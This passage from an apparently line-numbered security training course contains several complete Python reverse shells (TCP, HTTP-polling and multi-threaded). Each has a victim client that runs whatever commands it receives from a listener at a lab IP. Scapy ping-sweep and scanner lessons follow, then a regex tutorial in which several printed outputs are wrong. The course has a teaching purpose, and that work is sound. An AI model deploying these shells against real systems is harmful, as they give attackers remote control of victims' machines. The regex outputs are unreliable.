''}}; $stream.Write($encoding.GetBytes($out),0,$out.length); $out = $null; $string = $null}} else {ReverseShellClean}};"
1483
1484
1485
1486----------------------------------------------------------------------
1487
1488
1489
1490
1491
1492###############################
1493# Reverse Shell in Python 2.7 #
1494###############################
1495
1496We'll create 2 python files. One for the server and one for the client.
1497
1498- Below is the python code that is running on victim/client Windows machine:
1499
1500---------------------------Paste This-----------------------------------
1501
1502# Client
1503
1504import socket # For Building TCP Connection
1505import subprocess # To start the shell in the system
1506
1507def connect():
1508 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
1509 s.connect(('192.168.243.150',8080))
1510
1511 while True: #keep receiving commands
1512 command = s.recv(1024)
1513
1514 if 'terminate' in command:
1515 s.close() #close the socket
1516 break
1517
1518 else:
1519
1520 CMD = subprocess.Popen(command, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
1521 s.send( CMD.stdout.read() ) # send the result
1522 s.send( CMD.stderr.read() ) # incase you mistyped a command.
1523 # we will send back the error
1524
1525def main ():
1526 connect()
1527main()
1528
1529
1530----------------------------------------------------------------------
1531
1532- Below is the code that we should run on server unit, in our case InfosecAddicts Ubuntu machine ( Ubuntu IP: 192.168.243.150 )
1533
1534---------------------------Paste This-----------------------------------
1535
1536# Server
1537
1538import socket # For Building TCP Connection
1539
1540
1541def connect ():
1542
1543 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
1544 s.bind(("192.168.243.150", 8080))
1545 s.listen(1)
1546 conn, addr = s.accept()
1547 print '[+] We got a connection from: ', addr
1548
1549
1550 while True:
1551 command = raw_input("Shell> ")
1552
1553 if 'terminate' in command:
1554 conn.send('termminate')
1555 conn.close() # close the connection with host
1556 break
1557
1558 else:
1559 conn.send(command) #send command
1560 print conn.recv(1024)
1561
1562def main ():
1563 connect()
1564main()
1565
1566----------------------------------------------------------------------
1567
1568- First run server.py code from Ubuntu machine. From command line type:
1569
1570---------------------------Type This-----------------------------------
1571
1572python server.py
1573
1574----------------------------------------------------------------------
1575
1576- then check if 8080 port is open, and if we are listening on 8080:
1577
1578---------------------------Type This-----------------------------------
1579
1580netstat -antp | grep "8080"
1581
1582----------------------------------------------------------------------
1583
1584- Then on victim ( Windows ) unit run client.py code.
1585
1586
1587- Connection will be established, and you will get a shell on Ubuntu:
1588
1589---------------------------Type This-----------------------------------
1590
1591infosecaddicts@ubuntu:~$ python server.py
1592[+] We got a connection from: ('192.168.243.1', 56880)
1593Shell> arp -a
1594
1595Shell> ipconfig
1596
1597Shell> dir
1598----------------------------------------------------------------------
1599
1600
1601##########################################
1602# HTTP based reverse shell in Python 2.7 #
1603##########################################
1604
1605
1606- The easiest way to install python modules and keep them up-to-date is with a Python-based package manager called Pip
1607- Download get-pip.py from https://bootstrap.pypa.io/get-pip.py on your Windows machine
1608
1609Then run python get-pip.py from command line. Once pip is installed you may use it to install packages.
1610
1611- Install requests package:
1612---------------------------Type This-----------------------------------
1613
1614 python -m pip install requests
1615
1616----------------------------------------------------------------------
1617
1618- Copy and paste below code into client_http.py on your Windows machine:
1619
1620- In my case server/ubuntu IP is 192.168.243.150. You need to change IP to your server address, in both codes (client_http.py, server_HTTP.py)
1621
1622---------------------------Paste This-----------------------------------
1623# Client
1624
1625import requests
1626import subprocess
1627import time
1628
1629
1630while True:
1631 req = requests.get('http://192.168.243.150')
1632 command = req.text
1633
1634 if 'terminate' in command:
1635 break
1636
1637 else:
1638 CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
1639 post_response = requests.post(url='http://192.168.243.150', data=CMD.stdout.read() )
1640 post_response = requests.post(url='http://192.168.243.150', data=CMD.stderr.read() )
1641
1642 time.sleep(3)
1643
1644
1645
1646
1647----------------------------------------------------------------------
1648
1649
1650
1651- Copy and paste below code into server_HTTP.py on your Ubuntu unit (server):
1652
1653
1654---------------------------Paste This-----------------------------------
1655
1656import BaseHTTPServer
1657HOST_NAME = '192.168.243.150'
1658PORT_NUMBER = 80
1659class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
1660
1661 def do_GET(s):
1662 command = raw_input("Shell> ")
1663 s.send_response(200)
1664 s.send_header("Content-type", "text/html")
1665 s.end_headers()
1666 s.wfile.write(command)
1667
1668
1669 def do_POST(s):
1670 s.send_response(200)
1671 s.end_headers()
1672 length = int(s.headers['Content-Length'])
1673 postVar = s.rfile.read(length)
1674 print postVar
1675
1676if __name__ == '__main__':
1677 server_class = BaseHTTPServer.HTTPServer
1678 httpd = server_class((HOST_NAME, PORT_NUMBER), MyHandler)
1679
1680 try:
1681 httpd.serve_forever()
1682 except KeyboardInterrupt:
1683 print'[!] Server is terminated'
1684 httpd.server_close()
1685
1686----------------------------------------------------------------------
1687
1688- run server_HTTP.py on Ubuntu with next command:
1689
1690---------------------------Type This-----------------------------------
1691
1692infosecaddicts@ubuntu:~$ sudo python server_HTTP.py
1693
1694----------------------------------------------------------------------
1695
1696
1697- on Windows machine run client_http.py
1698
1699- on Ubuntu you will see that connection is established:
1700
1701---------------------------Type This-----------------------------------
1702
1703infosecaddicts@ubuntu:~$ sudo python server_HTTP.py
1704Shell> dir
1705----------------------------------------------------------------------
1706
1707192.168.243.1 - - [25/Sep/2017 12:21:40] "GET / HTTP/1.1" 200 -
1708192.168.243.1 - - [25/Sep/2017 12:21:40] "POST / HTTP/1.1" 200 -
1709 Volume in drive C has no label.
1710
1711
1712############################################
1713# Multi-Threaded Reverse Shell in Python 3 #
1714############################################
1715
1716
1717- We'll again create 2 files, one for server and one for client/victim. This code is adjusted to work on python2.7
1718
1719Copy and paste code from below into server.py file on Ubuntu(server) machine and run it with command python server.py:
1720
1721
1722Server.py code:
1723---------------------------Paste This-----------------------------------
1724
1725import socket
1726import sys
1727
1728# Create socket (allows two computers to connect)
1729
1730def socket_create():
1731 try:
1732 global host
1733 global port
1734 global s
1735 host = ''
1736 port = 9999
1737 s = socket.socket()
1738 except socket.error as msg:
1739 print("Socket creation error: " + str(msg))
1740
1741# Bind socket to port and wait for connection from client
1742def socket_bind():
1743 try:
1744 global host
1745 global port
1746 global s
1747 print("Binding socket to port: " + str(port))
1748 s.bind((host,port))
1749 s.listen(5)
1750 except socket.error as msg:
1751 print("Socket binding error: " + str(msg) + "\n" + "Retrying...")
1752 socket_bind()
1753
1754# Establish a connection with client (socket must be listening for them)
1755def socket_accept():
1756 conn, address = s.accept()
1757 print("Connection has been established | " + "IP " + address[0] + " | Port " + str(address[1]))
1758 send_commands(conn)
1759 conn.close()
1760
1761
1762# Send commands
1763def send_commands(conn):
1764 while True:
1765 cmd = raw_input() #input() is changed to raw_input() in order to work on python2.7
1766 if cmd == 'quit':
1767 conn.close()
1768 s.close()
1769 sys.exit()
1770 if len(str.encode(cmd))>0:
1771 conn.send(str.encode(cmd))
1772 client_response = str(conn.recv(1024)) # had issue with encoding and I have removed utf-8 from client_response = str(conn.recv(1024),"utf-8")
1773 print(client_response)
1774
1775# References for str.encode/decode
1776# https://www.tutorialspoint.com/python/string_encode.htm
1777# https://www.tutorialspoint.com/python/string_decode.htm
1778
1779
1780def main():
1781 socket_create()
1782 socket_bind()
1783 socket_accept()
1784
1785main()
1786
1787
1788
1789----------------------------------------------------------------------
1790
1791
1792-After you have aleady run server.py on Ubuntu, you can then run client.py file from Windows(client) unit. Code is below:
1793
1794Client.py code:
1795
1796---------------------------Paste This-----------------------------------
1797
1798import os
1799import socket
1800import subprocess
1801
1802s = socket.socket()
1803host = '192.168.243.150' # change to IP address of your server
1804port = 9999
1805s.connect((host, port))
1806
1807while True:
1808 data = s.recv(1024)
1809 if data[:2].decode("utf-8") == 'cd':
1810 os.chdir(data[3:].decode("utf-8"))
1811 if len(data) > 0:
1812 cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
1813 output_bytes = cmd.stdout.read() + cmd.stderr.read()
1814 output_str = str(output_bytes) # had issue with encoding, in origin code is output_str = str(output_bytes, "utf-8")
1815 s.send(str.encode(output_str + str(os.getcwd()) + '> '))
1816 print(output_str)
1817# References for str.encode/decode
1818# https://www.tutorialspoint.com/python/string_encode.htm
1819# https://www.tutorialspoint.com/python/string_decode.htm
1820
1821# Close connection
1822s.close()
1823
1824
1825----------------------------------------------------------------------
1826
1827---------------------------Type This-----------------------------------
1828
1829python client.py
1830----------------------------------------------------------------------
1831
1832- Then return back to Ubuntu and you will see that connection is established and you can run commands from shell.
1833
1834---------------------------Type This-----------------------------------
1835
1836infosecaddicts@ubuntu:~$ python server.py
1837
1838----------------------------------------------------------------------
1839
1840Binding socket to port: 9999
1841Connection has been established | IP 192.168.243.1 | Port 57779
1842dir
1843 Volume in drive C has no label.
1844
1845
1846 Directory of C:\Python27
1847
1848
1849
1850
1851
1852
1853
1854
1855
1856
1857
1858###############################
1859# Lesson 21: Installing Scapy #
1860###############################
1861
1862---------------------------Type This-----------------------------------
1863
1864sudo apt-get update
1865sudo apt-get install python-scapy python-pyx python-gnuplot
1866
1867----------------------------------------------------------------------
1868
1869Reference Page For All Of The Commands We Will Be Running:
1870http://samsclass.info/124/proj11/proj17-scapy.html
1871
1872Great slides for Scapy:
1873http://www.secdev.org/conf/scapy_csw05.pdf
1874
1875
1876
1877
1878To run Scapy interactively
1879---------------------------Type This-----------------------------------
1880
1881 sudo scapy
1882
1883----------------------------------------------------------------------
1884
1885
1886################################################
1887# Lesson 22: Sending ICMPv4 Packets with scapy #
1888################################################
1889
1890In the Linux machine, in the Terminal window, at the >>> prompt, type this command, and then press the Enter key:
1891
1892---------------------------Type This-----------------------------------
1893
1894 i = IP()
1895
1896----------------------------------------------------------------------
1897
1898
1899
1900This creates an object named i of type IP. To see the properties of that object, use the display() method with this command:
1901
1902---------------------------Type This-----------------------------------
1903
1904 i.display()
1905
1906----------------------------------------------------------------------
1907
1908
1909
1910Use these commands to set the destination IP address and display the properties of the i object again. Replace the IP address in the first command with the IP address of your target Windows machine:
1911
1912---------------------------Type This-----------------------------------
1913
1914 i.dst="10.65.75.49"
1915
1916 i.display()
1917
1918
1919----------------------------------------------------------------------
1920
1921
1922Notice that scapy automatically fills in your machine's source IP address.
1923
1924Use these commands to create an object named ic of type ICMP and display its properties:
1925
1926---------------------------Type This-----------------------------------
1927
1928 ic = ICMP()
1929
1930 ic.display()
1931
1932
1933----------------------------------------------------------------------
1934
1935
1936
1937Use this command to send the packet onto the network and listen to a single packet in response. Note that the third character is the numeral 1, not a lowercase L:
1938
1939---------------------------Type This-----------------------------------
1940
1941 sr1(i/ic)
1942
1943----------------------------------------------------------------------
1944
1945
1946
1947
1948This command sends and receives one packet, of type IP at layer 3 and ICMP at layer 4. As you can see in the image above, the response is shown, with ICMP type echo-reply.
1949
1950The Padding section shows the portion of the packet that carries higher-level data. In this case it contains only zeroes as padding.
1951
1952Use this command to send a packet that is IP at layer 3, ICMP at layer 4, and that contains data with your name in it (replace YOUR NAME with your own name):
1953
1954---------------------------Type This-----------------------------------
1955
1956 sr1(i/ic/"YOUR NAME")
1957
1958----------------------------------------------------------------------
1959
1960You should see a reply with a Raw section containing your name.
1961
1962
1963
1964##############################################
1965# Lesson 23: Sending a UDP Packet with Scapy #
1966##############################################
1967
1968
1969Preparing the Target
1970
1971---------------------------Type This-----------------------------------
1972
1973$ ncat -ulvp 4444
1974
1975----------------------------------------------------------------------
1976
1977
1978
1979--open another terminal--
1980In the Linux machine, in the Terminal window, at the >>> prompt, type these commands, and then press the Enter key:
1981
1982---------------------------Type This-----------------------------------
1983
1984
1985 u = UDP()
1986
1987 u.display()
1988
1989----------------------------------------------------------------------
1990
1991
1992This creates an object named u of type UDP, and displays its properties.
1993
1994Execute these commands to change the destination port to 4444 and display the properties again:
1995
1996---------------------------Type This-----------------------------------
1997
1998 i.dst="10.10.2.97" <--- replace this with a host that you can run netcat on (ex: another VM or your host computer)
1999
2000 u.dport = 4444
2001
2002 u.display()
2003
2004----------------------------------------------------------------------
2005
2006
2007Execute this command to send the packet to the Windows machine:
2008
2009---------------------------Type This-----------------------------------
2010
2011 send(i/u/"YOUR NAME SENT VIA UDP\n")
2012
2013----------------------------------------------------------------------
2014
2015
2016On the Windows target, you should see the message appear
2017
2018
2019
2020
2021#######################################
2022# Lesson 24: Ping Sweeping with Scapy #
2023#######################################
2024
2025---------------------------Paste This-----------------------------------
2026
2027
2028#!/usr/bin/python
2029from scapy.all import *
2030
2031TIMEOUT = 2
2032conf.verb = 0
2033for ip in range(0, 256):
2034 packet = IP(dst="10.10.30." + str(ip), ttl=20)/ICMP()
2035 # You will need to change 10.10.30 above this line to the subnet for your network
2036 reply = sr1(packet, timeout=TIMEOUT)
2037 if not (reply is None):
2038 print reply.dst, "is online"
2039 else:
2040 print "Timeout waiting for %s" % packet[IP].dst
2041
2042----------------------------------------------------------------------
2043
2044
2045###############################################
2046# Checking out some scapy based port scanners #
2047###############################################
2048
2049---------------------------Type This-----------------------------------
2050
2051wget https://s3.amazonaws.com/infosecaddictsfiles/rdp_scan.py
2052
2053cat rdp_scan.py
2054
2055sudo python rdp_scan.py
2056
2057----------------------------------------------------------------------
2058
2059######################################
2060# Dealing with conf.verb=0 NameError #
2061######################################
2062
2063---------------------------Type This-----------------------------------
2064
2065conf.verb = 0
2066NameError: name 'conf' is not defined
2067
2068Fixing scapy - some scripts are written for the old version of scapy so you'll have to change the following line from:
2069
2070from scapy import *
2071 to
2072from scapy.all import *
2073
2074
2075
2076
2077Reference:
2078http://hexale.blogspot.com/2008/10/wifizoo-and-new-version-of-scapy.html
2079
2080
2081conf.verb=0 is a verbosity setting (configuration/verbosity = conv
2082
2083
2084
2085Here are some good Scapy references:
2086http://www.secdev.org/projects/scapy/doc/index.html
2087http://resources.infosecinstitute.com/port-scanning-using-scapy/
2088http://www.hackerzvoice.net/ouah/blackmagic.txt
2089http://www.workrobot.com/sansfire2009/SCAPY-packet-crafting-reference.html
2090
2091
2092
2093
2094
2095
2096
2097
2098
2099
2100
2101
2102#######################
2103# Regular Expressions #
2104#######################
2105
2106
2107
2108**************************************************
2109* What is Regular Expression and how is it used? *
2110**************************************************
2111
2112
2113Simply put, regular expression is a sequence of character(s) mainly used to find and replace patterns in a string or file.
2114
2115
2116Regular expressions use two types of characters:
2117
2118a) Meta characters: As the name suggests, these characters have a special meaning, similar to * in wildcard.
2119
2120b) Literals (like a,b,1,2…)
2121
2122
2123In Python, we have module "re" that helps with regular expressions. So you need to import library re before you can use regular expressions in Python.
2124
2125
2126Use this code --> import re
2127
2128
2129
2130
2131The most common uses of regular expressions are:
2132--------------------------------------------------
2133
2134- Search a string (search and match)
2135- Finding a string (findall)
2136- Break string into a sub strings (split)
2137- Replace part of a string (sub)
2138
2139
2140
2141Let's look at the methods that library "re" provides to perform these tasks.
2142
2143
2144
2145****************************************************
2146* What are various methods of Regular Expressions? *
2147****************************************************
2148
2149
2150The ‘re' package provides multiple methods to perform queries on an input string. Here are the most commonly used methods, I will discuss:
2151
2152re.match()
2153re.search()
2154re.findall()
2155re.split()
2156re.sub()
2157re.compile()
2158
2159Let's look at them one by one.
2160
2161
2162re.match(pattern, string):
2163-------------------------------------------------
2164
2165This method finds match if it occurs at start of the string. For example, calling match() on the string ‘AV Analytics AV' and looking for a pattern ‘AV' will match. However, if we look for only Analytics, the pattern will not match. Let's perform it in python now.
2166
2167Code
2168---------------------------Type This-----------------------------------
2169
2170import re
2171result = re.match(r'AV', 'AV Analytics ESET AV')
2172print result
2173----------------------------------------------------------------------
2174
2175Output:
2176<_sre.SRE_Match object at 0x0000000009BE4370>
2177
2178Above, it shows that pattern match has been found. To print the matching string we'll use method group (It helps to return the matching string). Use "r" at the start of the pattern string, it designates a python raw string.
2179
2180---------------------------Type This-----------------------------------
2181
2182result = re.match(r'AV', 'AV Analytics ESET AV')
2183print result.group(0)
2184----------------------------------------------------------------------
2185
2186Output:
2187AV
2188
2189
2190Let's now find ‘Analytics' in the given string. Here we see that string is not starting with ‘AV' so it should return no match. Let's see what we get:
2191
2192
2193Code
2194---------------------------Type This-----------------------------------
2195
2196result = re.match(r'Analytics', 'AV Analytics ESET AV')
2197print result
2198----------------------------------------------------------------------
2199
2200
2201Output:
2202None
2203
2204
2205There are methods like start() and end() to know the start and end position of matching pattern in the string.
2206
2207Code
2208---------------------------Type This-----------------------------------
2209
2210result = re.match(r'AV', 'AV Analytics ESET AV')
2211print result.start()
2212print result.end()
2213----------------------------------------------------------------------
2214
2215Output:
22160
22172
2218
2219Above you can see that start and end position of matching pattern ‘AV' in the string and sometime it helps a lot while performing manipulation with the string.
2220
2221
2222
2223
2224
2225re.search(pattern, string):
2226-----------------------------------------------------
2227
2228
2229It is similar to match() but it doesn't restrict us to find matches at the beginning of the string only. Unlike previous method, here searching for pattern ‘Analytics' will return a match.
2230
2231Code
2232---------------------------Type This-----------------------------------
2233
2234result = re.search(r'Analytics', 'AV Analytics ESET AV')
2235print result.group(0)
2236----------------------------------------------------------------------
2237
2238Output:
2239Analytics
2240
2241Here you can see that, search() method is able to find a pattern from any position of the string but it only returns the first occurrence of the search pattern.
2242
2243
2244
2245
2246
2247
2248re.findall (pattern, string):
2249------------------------------------------------------
2250
2251
2252It helps to get a list of all matching patterns. It has no constraints of searching from start or end. If we will use method findall to search ‘AV' in given string it will return both occurrence of AV. While searching a string, I would recommend you to use re.findall() always, it can work like re.search() and re.match() both.
2253
2254
2255Code
2256---------------------------Type This-----------------------------------
2257
2258result = re.findall(r'AV', 'AV Analytics ESET AV')
2259print result
2260----------------------------------------------------------------------
2261
2262Output:
2263['AV', 'AV']
2264
2265
2266
2267
2268
2269re.split(pattern, string, [maxsplit=0]):
2270------------------------------------------------------
2271
2272
2273
2274This methods helps to split string by the occurrences of given pattern.
2275
2276
2277Code
2278---------------------------Type This-----------------------------------
2279
2280result=re.split(r'y','Analytics')
2281result
2282 ----------------------------------------------------------------------
2283
2284Output:
2285[]
2286
2287Above, we have split the string "Analytics" by "y". Method split() has another argument "maxsplit". It has default value of zero. In this case it does the maximum splits that can be done, but if we give value to maxsplit, it will split the string. Let's look at the example below:
2288
2289
2290Code
2291---------------------------Type This-----------------------------------
2292
2293result=re.split(r's','Analytics eset')
2294print result
2295----------------------------------------------------------------------
2296
2297Output:
2298['Analytic', ' e', 'et'] #It has performed all the splits that can be done by pattern "s".
2299
2300
2301
2302Code
2303---------------------------Type This-----------------------------------
2304
2305result=re.split(r's','Analytics eset',maxsplit=1)
2306result
2307----------------------------------------------------------------------
2308
2309Output:
2310[]
2311
2312
2313
2314
2315
2316re.sub(pattern, repl, string):
2317----------------------------------------------------------
2318
2319It helps to search a pattern and replace with a new sub string. If the pattern is not found, string is returned unchanged.
2320
2321Code
2322---------------------------Type This-----------------------------------
2323
2324result=re.sub(r'Ruby','Python','Joe likes Ruby')
2325result
2326----------------------------------------------------------------------
2327
2328Output:
2329''
2330
2331
2332
2333
2334
2335re.compile(pattern, repl, string):
2336----------------------------------------------------------
2337
2338
2339We can combine a regular expression pattern into pattern objects, which can be used for pattern matching. It also helps to search a pattern again without rewriting it.
2340
2341
2342Code
2343---------------------------Type This-----------------------------------
2344
2345import re
2346pattern=re.compile('XSS')
2347result=pattern.findall('XSS is Cross Site Scripting, XSS')
2348print result
2349result2=pattern.findall('XSS is Cross Site Scripting, SQLi is Sql Injection')
2350print result2
2351----------------------------------------------------------------------
2352
2353Output:
2354['XSS', 'XSS']
2355['XSS']
2356
2357Till now, we looked at various methods of regular expression using a constant pattern (fixed characters). But, what if we do not have a constant search pattern and we want to return specific set of characters (defined by a rule) from a string? Don't be intimidated.
2358
2359This can easily be solved by defining an expression with the help of pattern operators (meta and literal characters). Let's look at the most common pattern operators.
2360
2361
2362
2363
2364
2365**********************************************
2366* What are the most commonly used operators? *
2367**********************************************
2368
2369
2370Regular expressions can specify patterns, not just fixed characters. Here are the most commonly used operators that helps to generate an expression to represent required characters in a string or file. It is commonly used in web scrapping and text mining to extract required information.
2371
2372Operators Description
2373. Matches with any single character except newline ‘\n'.
2374? match 0 or 1 occurrence of the pattern to its left
2375+ 1 or more occurrences of the pattern to its left
2376* 0 or more occurrences of the pattern to its left
2377\w Matches with a alphanumeric character whereas \W (upper case W) matches non alphanumeric character.
2378\d Matches with digits [0-9] and /D (upper case D) matches with non-digits.
2379\s Matches with a single white space character (space, newline, return, tab, form) and \S (upper case S) matches any non-white space character.
2380\b boundary between word and non-word and /B is opposite of /b
2381[..] Matches any single character in a square bracket and [^..] matches any single character not in square bracket
2382\ It is used for special meaning characters like \. to match a period or \+ for plus sign.
2383^ and $ ^ and $ match the start or end of the string respectively
2384{n,m} Matches at least n and at most m occurrences of preceding expression if we write it as {,m} then it will return at least any minimum occurrence to max m preceding expression.
2385a| b Matches either a or b
2386( ) Groups regular expressions and returns matched text
2387\t, \n, \r Matches tab, newline, return
2388
2389
2390For more details on meta characters "(", ")","|" and others details , you can refer this link (https://docs.python.org/2/library/re.html).
2391
2392Now, let's understand the pattern operators by looking at the below examples.
2393
2394
2395
2396****************************************
2397* Some Examples of Regular Expressions *
2398****************************************
2399
2400******************************************************
2401* Problem 1: Return the first word of a given string *
2402******************************************************
2403
2404
2405Solution-1 Extract each character (using "\w")
2406---------------------------------------------------------------------------
2407
2408Code
2409---------------------------Type This-----------------------------------
2410
2411import re
2412result=re.findall(r'.','Python is the best scripting language')
2413print result
2414----------------------------------------------------------------------
2415
2416Output:
2417['P', 'y', 't', 'h', 'o', 'n', ' ', 'i', 's', ' ', 't', 'h', 'e', ' ', 'b', 'e', 's', 't', ' ', 's', 'c', 'r', 'i', 'p', 't', 'i', 'n', 'g', ' ', 'l', 'a', 'n', 'g', 'u', 'a', 'g', 'e']
2418
2419
2420Above, space is also extracted, now to avoid it use "\w" instead of ".".
2421
2422
2423Code
2424---------------------------Type This-----------------------------------
2425
2426result=re.findall(r'\w','Python is the best scripting language')
2427print result
2428----------------------------------------------------------------------
2429
2430Output:
2431['P', 'y', 't', 'h', 'o', 'n', 'i', 's', 't', 'h', 'e', 'b', 'e', 's', 't', 's', 'c', 'r', 'i', 'p', 't', 'i', 'n', 'g', 'l', 'a', 'n', 'g', 'u', 'a', 'g', 'e']
2432
2433
2434
2435
2436Solution-2 Extract each word (using "*" or "+")
2437---------------------------------------------------------------------------
2438
2439Code
2440---------------------------Type This-----------------------------------
2441
2442result=re.findall(r'\w*','Python is the best scripting language')
2443print result
2444----------------------------------------------------------------------
2445
2446Output:
2447['Python', '', 'is', '', 'the', '', 'best', '', 'scripting', '', 'language', '']
2448
2449
2450Again, it is returning space as a word because "*" returns zero or more matches of pattern to its left. Now to remove spaces we will go with "+".
2451
2452Code
2453---------------------------Type This-----------------------------------
2454
2455result=re.findall(r'\w+','Python is the best scripting language')
2456print result
2457----------------------------------------------------------------------
2458
2459Output:
2460['Python', 'is', 'the', 'best', 'scripting', 'language']
2461
2462
2463
2464
2465Solution-3 Extract each word (using "^")
2466-------------------------------------------------------------------------------------
2467
2468
2469Code
2470---------------------------Type This-----------------------------------
2471
2472result=re.findall(r'^\w+','Python is the best scripting language')
2473print result
2474----------------------------------------------------------------------
2475
2476Output:
2477['Python']
2478
2479If we will use "$" instead of "^", it will return the word from the end of the string. Let's look at it.
2480
2481Code
2482---------------------------Type This-----------------------------------
2483
2484result=re.findall(r'\w+$','Python is the best scripting language')
2485print result
2486----------------------------------------------------------------------
2487
2488Output:
2489[‘language']
2490
2491
2492
2493
2494
2495**********************************************************
2496* Problem 2: Return the first two character of each word *
2497**********************************************************
2498
2499
2500
2501
2502Solution-1 Extract consecutive two characters of each word, excluding spaces (using "\w")
2503------------------------------------------------------------------------------------------------------
2504
2505Code
2506---------------------------Type This-----------------------------------
2507
2508result=re.findall(r'\w\w','Python is the best')
2509print result
2510----------------------------------------------------------------------
2511
2512Output:
2513['Py', 'th', 'on', 'is', 'th', 'be', 'st']
2514
2515
2516
2517
2518
2519Solution-2 Extract consecutive two characters those available at start of word boundary (using "\b")
2520------------------------------------------------------------------------------------------------------
2521
2522Code
2523---------------------------Type This-----------------------------------
2524
2525result=re.findall(r'\b\w.','Python is the best')
2526print result
2527----------------------------------------------------------------------
2528
2529Output:
2530['Py', 'is', 'th', 'be']
2531
2532
2533
2534
2535
2536
2537********************************************************
2538* Problem 3: Return the domain type of given email-ids *
2539********************************************************
2540
2541
2542To explain it in simple manner, I will again go with a stepwise approach:
2543
2544
2545
2546
2547
2548Solution-1 Extract all characters after "@"
2549------------------------------------------------------------------------------------------------------------------
2550
2551Code
2552---------------------------Type This-----------------------------------
2553
2554result=re.findall(r'@\w+','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz')
2555print result
2556----------------------------------------------------------------------
2557
2558Output: ['@gmail', '@test', '@strategicsec', '@rest']
2559
2560
2561
2562Above, you can see that ".com", ".biz" part is not extracted. To add it, we will go with below code.
2563
2564---------------------------Type This-----------------------------------
2565
2566result=re.findall(r'@\w+.\w+','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz')
2567print result
2568----------------------------------------------------------------------
2569
2570Output:
2571['@gmail.com', '@test.com', '@strategicsec.com', '@rest.biz']
2572
2573
2574
2575
2576
2577
2578Solution – 2 Extract only domain name using "( )"
2579-----------------------------------------------------------------------------------------------------------------------
2580
2581
2582Code
2583---------------------------Type This-----------------------------------
2584
2585result=re.findall(r'@\w+.(\w+)','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz')
2586print result
2587----------------------------------------------------------------------
2588
2589Output:
2590['com', 'com', 'com', 'biz']
2591
2592
2593
2594
2595
2596
2597********************************************
2598* Problem 4: Return date from given string *
2599********************************************
2600
2601
2602Here we will use "\d" to extract digit.
2603
2604
2605Solution:
2606----------------------------------------------------------------------------------------------------------------------
2607
2608Code
2609---------------------------Type This-----------------------------------
2610
2611result=re.findall(r'\d{2}-\d{2}-\d{4}','Joe 34-3456 12-05-2007, XYZ 56-4532 11-11-2016, ABC 67-8945 12-01-2009')
2612print result
2613----------------------------------------------------------------------
2614
2615Output:
2616['12-05-2007', '11-11-2016', '12-01-2009']
2617
2618If you want to extract only year again parenthesis "( )" will help you.
2619
2620
2621Code
2622
2623---------------------------Type This-----------------------------------
2624
2625result=re.findall(r'\d{2}-\d{2}-(\d{4})','Joe 34-3456 12-05-2007, XYZ 56-4532 11-11-2016, ABC 67-8945 12-01-2009')
2626print result
2627----------------------------------------------------------------------
2628
2629Output:
2630['2007', '2016', '2009']
2631
2632
2633
2634
2635
2636*******************************************************************
2637* Problem 5: Return all words of a string those starts with vowel *
2638*******************************************************************
2639
2640
2641
2642
2643Solution-1 Return each words
2644-----------------------------------------------------------------------------------------------------------------
2645
2646Code
2647---------------------------Type This-----------------------------------
2648
2649result=re.findall(r'\w+','Python is the best')
2650print result
2651----------------------------------------------------------------------
2652
2653Output:
2654['Python', 'is', 'the', 'best']
2655
2656
2657
2658
2659
2660Solution-2 Return words starts with alphabets (using [])
2661------------------------------------------------------------------------------------------------------------------
2662
2663Code
2664---------------------------Type This-----------------------------------
2665
2666result=re.findall(r'[aeiouAEIOU]\w+','I love Python')
2667print result
2668----------------------------------------------------------------------
2669
2670Output:
2671['ove', 'on']
2672
2673Above you can see that it has returned "ove" and "on" from the mid of words. To drop these two, we need to use "\b" for word boundary.
2674
2675
2676
2677
2678
2679Solution- 3
2680------------------------------------------------------------------------------------------------------------------
2681
2682Code
2683---------------------------Type This-----------------------------------
2684
2685result=re.findall(r'\b[aeiouAEIOU]\w+','I love Python')
2686print result
2687----------------------------------------------------------------------
2688
2689Output:
2690[]
2691
2692In similar ways, we can extract words those starts with constant using "^" within square bracket.
2693
2694
2695Code
2696---------------------------Type This-----------------------------------
2697
2698result=re.findall(r'\b[^aeiouAEIOU]\w+','I love Python')
2699print result
2700----------------------------------------------------------------------
2701
2702Output:
2703[' love', ' Python']
2704
2705Above you can see that it has returned words starting with space. To drop it from output, include space in square bracket[].
2706
2707
2708Code
2709---------------------------Type This-----------------------------------
2710
2711result=re.findall(r'\b[^aeiouAEIOU ]\w+','I love Python')
2712print result
2713----------------------------------------------------------------------
2714
2715Output:
2716['love', 'Python']
2717
2718
2719
2720
2721
2722
2723*************************************************************************************************
2724* Problem 6: Validate a phone number (phone number must be of 10 digits and starts with 8 or 9) *
2725*************************************************************************************************
2726
2727
2728We have a list phone numbers in list "li" and here we will validate phone numbers using regular
2729
2730
2731
2732
2733Solution
2734-------------------------------------------------------------------------------------------------------------------------------------
2735
2736
2737Code
2738---------------------------Type This-----------------------------------
2739
2740import re
2741li=['9999999999','999999-999','99999x9999']
2742for val in li:
2743 if re.match(r'[8-9]{1}[0-9]{9}',val) and len(val) == 10:
2744 print 'yes'
2745 else:
2746 print 'no'
2747
2748----------------------------------------------------------------------
2749
2750Output:
2751yes
2752no
2753no
2754
2755
2756
2757
2758
2759******************************************************
2760* Problem 7: Split a string with multiple delimiters *
2761******************************************************
2762
2763
2764
2765Solution
2766---------------------------------------------------------------------------------------------------------------------------
2767
2768
2769Code
2770---------------------------Type This-----------------------------------
2771
2772import re
2773line = 'asdf fjdk;afed,fjek,asdf,foo' # String has multiple delimiters (";",","," ").
2774result= re.split(r'[;,\s]', line)
2775print result
2776----------------------------------------------------------------------
2777
2778Output:
2779['asdf', 'fjdk', 'afed', 'fjek', 'asdf', 'foo']
2780
2781
2782
2783We can also use method re.sub() to replace these multiple delimiters with one as space " ".
2784
2785
2786Code
2787---------------------------Type This-----------------------------------
2788
2789import re
2790line = 'asdf fjdk;afed,fjek,asdf,foo'
2791result= re.sub(r'[;,\s]',' ', line)
2792print result
2793----------------------------------------------------------------------
2794
